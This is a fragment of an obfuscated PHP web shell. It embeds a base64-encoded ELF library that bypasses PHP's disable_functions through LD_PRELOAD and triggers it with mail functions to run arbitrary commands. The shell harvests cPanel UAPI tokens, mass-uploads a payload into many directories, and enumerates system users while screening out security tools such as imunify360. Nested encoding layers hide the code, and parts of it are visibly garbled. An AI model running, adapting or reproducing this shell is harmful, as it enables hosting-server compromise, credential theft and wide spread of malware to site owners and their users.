AAAAAAAAAAAAAAMwAAAAQABgAaBAgAAAAAAAAAAAAAAAAABAAAAASAAkAGAcAAAAAAAAAAAAAAAAAABYAAAASAA0AXAkAAAAAAAAAAAAAAAAAAHUAAAASAAwA4AgAAAAAAAA0AAAAAAAAAABfX2dtb2lfc3RhcnRfXwBfaW5pdABfZmluaQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZQBfSnZfUmVnaXN0ZXJDbGFzc2VzAHB3bgBnZXRlbnYAY2htb2QAc3lzdGVtAGRhZW1vbml6ZQBzaWduYWwAZm9yawBleGl0AHByZWxvYWRtZQB1bnNldGVudgBsaWJjLnNvLjYAX2VkYXRhAF9fYnNzX3N0YXJ0AF9lbmQAR0xJQkNfMi4yLjUAAAAAAgAAAAIAAgAAAAIAAAACAAIAAAACAAIAAQABAAEAAQABAAEAAQABAAAAAAABAAEAuwAAABAAAAAAAAAAdRppCQAAAgDdAAAAAAAAAPgNIAAAAAAACAAAAAAAAACwCAAAAAAAAAgOIAAAAAAACAAAAAAAAABwCAAAAAAAAGAQIAAAAAAACAAAAAAAAABgECAAAAAAAAAOIAAAAAAAAQAAAA8AAAAAAAAAAAAAANgPIAAAAAAABgAAAAIAAAAAAAAAAAAAAOAPIAAAAAAABgAAAAUAAAAAAAAAAAAAAOgPIAAAAAAABgAAAAcAAAAAAAAAAAAAAPAPIAAAAAAABgAAAAoAAAAAAAAAAAAAAPgPIAAAAAAABgAAAAsAAAAAAAAAAAAAABgQIAAAAAAABwAAAAEAAAAAAAAAAAAAACAQIAAAAAAABwAAAA4AAAAAAAAAAAAAACgQIAAAAAAABwAAAAMAAAAAAAAAAAAAADAQIAAAAAAABwAAABQAAAAAAAAAAAAAADgQIAAAAAAABwAAAAQAAAAAAAAAAAAAAEAQIAAAAAAABwAAAAYAAAAAAAAAAAAAAEgQIAAAAAAABwAAAAgAAAAAAAAAAAAAAFAQIAAAAAAABwAAAAkAAAAAAAAAAAAAAFgQIAAAAAAABwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAR0NDOiAoRGViaWhuIDYuMy4wLTE4K2RlYjllMSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAASAEAABIADAAUCQAAAAAAACkAAAAAAAAAUgEAABIADQBcCQAAAAAAAAAAAAAAAAAAWAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAbAEAABIADADgCAAAAAAAADQAAAAAAAAAcAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAhAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAkwEAABIADAA9CQAAAAAAAB0AAAAAAAAAnQEAABAAGABwECAAAAAAAAAAAAAAAAAAogEAABAAGABoECAAAAAAAAAAAAAAAAAArgEAABIAAAAAAAAAAAAAAAAAAAAAAAAAwQEAACAAAAAAAAAAAAAAAAAAAAAAAAAA1QEAABIAAAAAAAAAAAAAAAAAAAAAAAAA6wEAABIAAAAAAAAAAAAAAAAAAAAAAAAA/QEAACAAAAAAAAAAAAAAAAAAAAAAAAAAFwIAACIAAAAAAAAAAAAAAAAAAAAAAAAAMwIAABIACQAYBwAAAAAAAAAAAAAAAAAAOQIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21wbGV0ZWQuNjk3MgBfX2RvX2dsb2JhbF9kdG9yc19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1deQBfX2ZyYW1lX2R1bW15X2luaXRfYXJyYXlfZW50cnkAaG9vay5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1TM_lFTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AZ2V0ZW52QEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX2VkYXRhAGRhZW1vbml6ZQBfZmluaQBzeXN0ZW1AQEdMSUJDXzIuMi41AHB3bgBzaWduYWxAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAHByZWxvYWRtZQBfZW5kAF9fYnNzX3N0YXJ0AGNobW9kQEBHTElCQ18yLjIuNQBfSnZfUmVnaXN0ZXJDbGFzc2VzAHVuc2V0ZW52QEBHTElBQkNfMi4yLjUAX2V4aXRAQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AGZvcmtAQEdMSUJDXzIuMi41AA==';$so_file=$target.xorDecode('5e1219101f1a031e5f021e', 113);$socket_file=$target.'/acpid.socketimplode('', array('('))L3RtcC9zZm1fb3V0Xw==').time().base64_decode('LnR4dA==');}else{$out_file=$target.xorDecode('377b707976736a7747776d6c366c606c', 24);}@unlink($_var_so_file);@unlink($socket_file);@unlink($out_file);$safe_cmd=base64_decode('ZXhwb3J0IFBBVEg9L2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovdXNyL3NiaW47IA==').(is_dir($target)?base64_decode('Y2Qgimplode('', array('('))ICYmIA=='):base64_decode(''))."env -u LD_PRELOAD -u CHANKRO ".$cmd_raw;$full_command="($_var_safe_cmd) > $out_file 2>&1";$meterpreter=base64_encode($full_command);x_write($so_file,base64_decode($hook));x_write($socket_file,base64_decode($_var_meterpreter));putenv(base64_decode(str_rot13("D0uOGxgFGm0=")).$socket_file);putenv(strrev("=DAOLERP_DL").$so_file);if(function_exists(base64_decode(implode('', array("\x62","\x57","\x46","\x70","\x62","\x41","\x3d","\x3d","\x69","\x6d","\x70","\x6c","\x6f","\x64","\x65","\x28"))"\x2c\x20\x61\x72\x72\x61\x79\x28"(strrev("==QY))")),base64_decode(xorDecode(base64_decode('MTcxZjczNzM='), 78)),base64_decode(base64_decode('WVE9PQ==')),'astr_rot13(");}ryfrvs(shapgvba_rkvfgf(")mb_send_mailstr_rot13(")){@zo_fraq_znvy(onfr64_qrpbqr(")YQ=='),strrev("(edolpmia")xorDecode("\x31\x61\x31\x36\x35\x37\x34\x34\x34\x34\x35\x37\x34\x66\x31\x65", 54)(str_rot13("))LD==")),base64_decode("\x59\x51\x3d\x3d"));}elseif(function_exists(base64_decode("\x5a\x58\x4a\x79\x62\x33\x4a\x66\x62\x47\x39\x6e"))){@error_log(base64_decode(str_rot13("LD==")),1,base64_decode(xorDecode(base64_decode('MWExMjdlN2UyYTJlMzMyZjJjMjcyNjZi'), 67)strrev("(yarra ,")(str_rot13("))nJ1upS9gLJyf")))){@imap_mail(base64_decode(base64_decode('WVE9PQ==')),'abase64_decode('LGJhc2U2NF9kZWNvZGUo')YQ==implode('', array("\x29","\x29","\x3b","\x7d","\x73","\x6c","\x65","\x65","\x70","\x28","\x24","\x69","\x73","\x5f","\x75","\x61","\x70","\x69","\x5f","\x74","\x6f","\x6b","\x65","\x6e","\x3f","\x35","\x3a","\x32","\x29","\x3b","\x69","\x66","\x28","\x66","\x69","\x6c","\x65","\x5f","\x65","\x78","\x69","\x73","\x74","\x73","\x28","\x24","\x6f","\x75","\x74","\x5f","\x66","\x69","\x6c","\x65","\x29","\x29","\x7b","\x24","\x72","\x61","\x77","\x5f","\x6f","\x75","\x74","\x3d","\x66","\x69","\x6c","\x65","\x5f","\x67","\x65","\x74","\x5f","\x63","\x6f","\x6e","\x74","\x65","\x6e","\x74","\x73","\x28","\x24","\x6f","\x75","\x74","\x5f","\x66","\x69","\x6c","\x65","\x29","\x3b","\x69","\x66","\x28","\x24","\x5f","\x76","\x61","\x72","\x5f","\x69","\x73","\x5f","\x75","\x61","\x70","\x69","\x5f","\x74","\x6f","\x6b","\x65","\x6e","\x29","\x7b","\x69","\x66","\x28","\x70","\x72","\x65","\x67","\x5f","\x6d","\x61","\x74","\x63","\x68","\x28"))/token:\s*(\S+)/i',$raw_out,$m)){$out="SUCCESS TOKEN:\nstrrev("\x3d\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x28".");}else{$clean=preg_replace('/^ERROR: ld\.so:.*$/m','',$raw_out);$out=trim($_var_clean);if(empty($out))$out="UAPI Executed but no token found (Raw):\n".substr($raw_out,0,500);}}else{$clean=preg_replace('/^ERROR: ld\.so:.*$/m',base64_decode('aW1wbG9kZSg=')xorDecode(implode('', array("\x63","\x32","\x62","\x33","\x63","\x32","\x62","\x66","\x63","\x33","\x62","\x65","\x63","\x33","\x61","\x64","\x63","\x33","\x61","\x64","\x63","\x33","\x62","\x65","\x63","\x33","\x61","\x36","\x63","\x32","\x62","\x37")), 159)(base64_decode('KSlXMDV2SUU5MWRIQjFkQ0JRY205a2RXTmxaRjA9'));}echo $out;exit;}if($action===base64_decode(str_rot13("qT9ioN=="))){$_var_tool=isset($_SERVER[$h_tool])?$_SERVER[$h_tool]:'"\x3b\x24\x68\x6f\x6d\x65\x5f\x64\x69\x72\x73\x3d\x67\x65\x74\x5f\x68\x6f\x6d\x65\x5f\x64\x69\x72\x73\x28\x29\x3b\x69\x66\x28\x24\x74\x6f\x6f\x6c\x3d\x3d\x3d"mass_uploadstrrev("(edoced_46esab:]edomm_h$[REVRES_$?)]edomm_h$[REVRES_$(tessi=edom_rav_${)")aW5pdA==implode(strrev("(edoceDrox")1c10514242514918"\x2c\x20\x34\x38\x29\x28"))L3NmbV9tYXNzX3RhcmdldHMuanNvbg=="\x29\x3b\x24\x74\x6d\x70\x5f\x66\x69\x6c\x65\x3d\x73\x79\x73\x5f\x67\x65\x74\x5f\x74\x65\x6d\x70\x5f\x64\x69\x72\x28\x29\x2e\x22\x2f\x73\x66\x6d\x5f\x6d\x61\x73\x73\x5f\x70\x61\x79\x6c\x6f\x61\x64\x2e\x74\x6d\x70\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d\x3d\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28"aW5pdA==str_rot13(")){$_ine_vachg=svyr_trg_pbagragf("cuc://vachg");vs(vffrg($_FREIRE[$u_rap])&&$_FREIRE[$u_rap]===onfr64_qrpbqr(")YjY0"\x29\x29\x24\x69\x6e\x70\x75\x74\x3d\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x24\x69\x6e\x70\x75\x74\x29\x3b\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x24\x5f\x76\x61\x72\x5f\x74\x6d\x70\x5f\x66\x69\x6c\x65\x2c\x24\x69\x6e\x70\x75\x74\x29\x3b\x24\x74\x61\x72\x67\x65\x74\x73\x3d\x73\x63\x61\x6e\x5f\x73\x6d\x61\x72\x74\x5f\x74\x61\x72\x67\x65\x74\x73\x28\x24\x74\x61\x72\x67\x65\x74\x29\x3b\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x24\x74\x6d\x70\x5f\x6c\x69\x73\x74\x2c\x6a\x73\x6f\x6e\x5f\x65\x6e\x63\x6f\x64\x65\x28\x24\x74\x61\x72\x67\x65\x74\x73\x29\x29\x3b\x6a\x73\x6f\x6e\x5f\x6f\x75\x74\x28\x5b"statusimplode('', array("\x3d","\x3e","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28","\x78","\x6f","\x72","\x44","\x65","\x63","\x6f","\x64","\x65","\x28"))c292c29cc2a7c299c2abc2b9c29ac38cstr_rot13(", 241)),vzcybqr(")strrev("(yarra ,")lbase64_decode('KSk9PmNvdW50KCR0YXJnZXRzKV0pO31pZigkX3Zhcl9tb2RlPT09YmFzZTY0X2RlY29kZSg=')cHJvY2Vzcw==base64_decode('KSl7JHN0ZXA9aXNzZXQoJF9TRVJWRVJbJGhfc3RlcF0pPyhpbnQpJF9TRVJWRVJbJGhfc3RlcF06MDskZmlsZW5hbWU9aXNzZXQoJF9TRVJWRVJbJGhfZGF0YV0pP2Jhc2U2NF9kZWNvZGUoJF9TRVJWRVJbJGhfZGF0YV0pOg==')mass_file.phpbase64_decode('OyRsaW1pdD0yMDtpZighZmlsZV9leGlzdHMoJHRtcF9saXN0KXx8IWZpbGVfZXhpc3RzKCR0bXBfZmlsZSkpe2pzb25fb3V0KFs=')statusxorDecode("\x31\x37\x31\x34\x34\x38\x34\x62\x35\x39\x34\x66\x31\x63\x31\x65\x37\x35\x34\x65\x34\x66\x34\x39\x34\x35\x34\x65\x34\x66\x30\x32", 42)ZXJyb3I=implode('', array("\x29","\x2c","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))bXNnimplode('strrev("(yarra ,")(strrev("==gLkVmcpBHelByazFGV))"))]);}$_var_targets=json_decode(file_get_contents($tmp_list),true);$total=count($targets);if($total===0||$step>=$total){@unlink($_var_tmp_list);@unlink($tmp_file);json_out([base64_decode('c3RhdHVz')=>base64_decode(xorDecode(base64_decode('NmI3NjA4NDQ2YjYwMGMwYw=='), 49)),base64_decode('dG90YWw=')=>$total]);}$batch=array_slice($targets,$step,$limit);$_var_payload=file_get_contents($tmp_file);$count_ok=0;foreach($batch as $dir){if(x_robust_write($dir.base64_decode(implode('', array("\x4c","\x77","\x3d","\x3d"))).$filename,$_var_payload,false))$count_ok++;}$next_step=$step+$limit;json_out([base64_decode("\x63\x33\x52\x68\x64\x48\x56\x7a\x69\x6d\x70\x6c\x6f\x64\x65\x28""\x2c\x20\x61\x72\x72\x61\x79\x28"(xorDecode(base64_decode('MDEwMTcxMWExMTVkNGM2ZjQ0NWQ0YzdmN2QxNQ=='), 40)),strrev("pets_txen")=>$next_step,base64_decode(strrev("=wWY09Gd"))=>$total,base64_decode("\x62\x32\x74\x66\x59\x6d\x46\x30\x59\x32\x67\x3d")=>$_var_count_ok]);}exit;}if($tool===base64_decode(strrev("=IXZzV3XzNXYwlnY"))){$found=[];$blacklist=[base64_decode(implode(str_rot13("kbeQrpbqr(")c2a1c2adc3acc3bfc3bfc3acc3b4c2a5"\x2c\x20\x31\x34\x31\x29\x3d"))),base64_decode("\x59\x6d\x6c\x75"),"\x64\x61\x65\x6d\x6f\x6e",base64_decode(str_rot13("LJEg")),'lpstrrev("(edoced_46esab,")c3luYw==str_rot13("),kbeQrpbqr(")c2abc2b0c2adc2acc2bcc2b7c2afc2b6"\x2c\x20\x32\x31\x36\x29\x2c\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28"aGFsdA==base64_decode('KSxiYXNlNjRfZGVjb2RlKGltcGxvZGUo')base64_decode('LCBhcnJheSg=')=base64_decode('KSkpLGJhc2U2NF9kZWNvZGUo')b3BlcmF0b3I="\x29\x2c\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28"Z2FtZXM=str_rot13("),kbeQrpbqr(")c293c281c285"\x2c\x20\x32\x34\x35\x29\x2c\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28"bmFtZWQ=str_rot13("),onfr64_qrpbqr(")bnNjZA==implode('"\x2c\x20\x61\x72\x72\x61\x79\x28"(base64_decode('KSljbkJqZFhObGNnPT0=')),xorDecode("\x63\x32\x62\x36\x63\x32\x62\x34\x63\x32\x61\x37", 196),base64_decode("\x62\x57\x46\x70\x62\x47\x35\x31\x62\x47\x77\x3d"),base64_decode('dHNz'),"\x73\x73\x68\x64",base64_decode(implode('', array("\x5a","\x47","\x4a","\x31","\x63","\x77","\x3d","\x3d"))),base64_decode(xorDecode(implode('', array("\x31","\x30","\x30","\x64","\x37","\x33","\x37","\x38","\x31","\x30","\x31","\x64","\x30","\x34","\x33","\x63","\x32","\x65","\x30","\x62","\x37","\x37","\x37","\x37")), 74)),"\x72\x74\x6b\x69\x74",implode('strrev("(yarra ,")0implode('', array("\x29","\x29","\x2c","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))b3NzZWNl'),strrev("mcesso"),xorDecode(implode('', array("\x31","\x66","\x30","\x33","\x30","\x33","\x31","\x35","\x31","\x33","\x30","\x32")), 112),base64_decode("\x62\x33\x4e\x7a\x5a\x57\x4d\x3d"),base64_decode(implode('str_rot13(", neenl(")=strrev(",)))")imunify360-webshield',base64_decode('d3AtdG9vbGtpdA=='),base64_decode(xorDecode(base64_decode('Njc0ZDRiNmQ1ZjQyMzUzOA=='), 5)),str_rot13("_vzhavsl"),implode('base64_decode('LCBhcnJheSg=')kstrrev("(edoced_46esab,))")Z2VvY2x1ZQ==strrev("(edoced_46esab,)")cGlwZXdpcmU=implode('', array("\x29","\x2c","\x78","\x6f","\x72","\x44","\x65","\x63","\x6f","\x64","\x65","\x28"))223d3e393b2636implode('', array("\x2c","\x20","\x38","\x32","\x29","\x2c","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))Y3BhbmVscGhwbXlhZG1pbg==str_rot13("),vzcybqr(")base64_decode('LCBhcnJheSg=')nstrrev(",))")dovenullbase64_decode('LGJhc2U2NF9kZWNvZGUo')bXlzcWw=xorDecode(implode('', array("\x63","\x32","\x61","\x65","\x63","\x32","\x61","\x62","\x63","\x33","\x61","\x35","\x63","\x33","\x61","\x36","\x63","\x33","\x62","\x34","\x63","\x33","\x61","\x32","\x63","\x32","\x62","\x31","\x63","\x32","\x62","\x33","\x63","\x33","\x39","\x38","\x63","\x33","\x61","\x33","\x63","\x33","\x61","\x32","\x63","\x33","\x61","\x34","\x63","\x33","\x61","\x38","\x63","\x33","\x61","\x33","\x63","\x33","\x61","\x32","\x63","\x32","\x61","\x66")), 135)Y3BzZXM="\x29\x2c\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28"Y3BhbmVsYW5hbHl0aWNzbase64_decode('KSxiYXNlNjRfZGVjb2RlKGltcGxvZGUo')implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))rimplode('', array("\x29","\x29","\x29","\x2c","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))Y3BhbmVscm91bmRjdWJlxorDecode("\x37\x30\x37\x35\x33\x62\x33\x38\x32\x61\x33\x63\x36\x66\x36\x64\x30\x36\x33\x64\x33\x63\x33\x61\x33\x36\x33\x64\x33\x63\x37\x31", 89)Y3BhbmVsZXhpbXNjYW5uZXI=base64_decode('KSxiYXNlNjRfZGVjb2RlKA==')Y3BhbmVsZXhpbWZpbHRlcg==implode('', array("\x29","\x2c","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))Y3BhbmVsbG9naW4=base64_decode('KSxpbXBsb2RlKA==')strrev("(yarra ,")exorDecode("\x33\x63\x33\x63\x33\x39", 21)cpanelstrrev("(edoced_46esab,")bWFpbG1hbg==base64_decode('KSxiYXNlNjRfZGVjb2RlKA==')Y2hyb255implode('', array("\x29","\x2c","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))c3NzZA==str_rot13("),vzcybqr(")xorDecode(implode('', array("\x63","\x32","\x62","\x37","\x63","\x32","\x62","\x62","\x63","\x33","\x62","\x61","\x63","\x33","\x61","\x39","\x63","\x33","\x61","\x39","\x63","\x33","\x62","\x61","\x63","\x33","\x61","\x32","\x63","\x32","\x62","\x33")), 155)pimplode('', array("\x29","\x29","\x2c"))nobodybase64_decode('LGJhc2U2NF9kZWNvZGUo')YXBhY2hlbase64_decode('KSxiYXNlNjRfZGVjb2RlKA==')bmdpbng='),strrev("deepsetil"),base64_decode(implode(implode('', array("\x78","\x6f","\x72","\x44","\x65","\x63","\x6f","\x64","\x65","\x28"))c2a8c2a4c3a5c3b6c3b6c3a5c3bdc2ac"\x2c\x20\x31\x33\x32\x29\x72"))),base64_decode('c3lzdGVtZC1yZXNvbHZl'),base64_decode(base64_decode('YzNsemRHVnRaQzEwYVcxbGMzbHVZdz09'))];if(function_exists(str_rot13("cbfvk_trgcjhvq"))){for($userid=0;$userid<5000;$userid++){$_var_arr=@posix_getpwuid($userid);if(!empty($arr)&&isset($arr["\x6e\x61\x6d\x65"])){$u=$arr["\x6e\x61\x6d\x65\x69\x6d\x70\x6c\x6f\x64\x65\x28"base64_decode('LCBhcnJheSg=')[strrev("rid))")])?$arr[implode('', 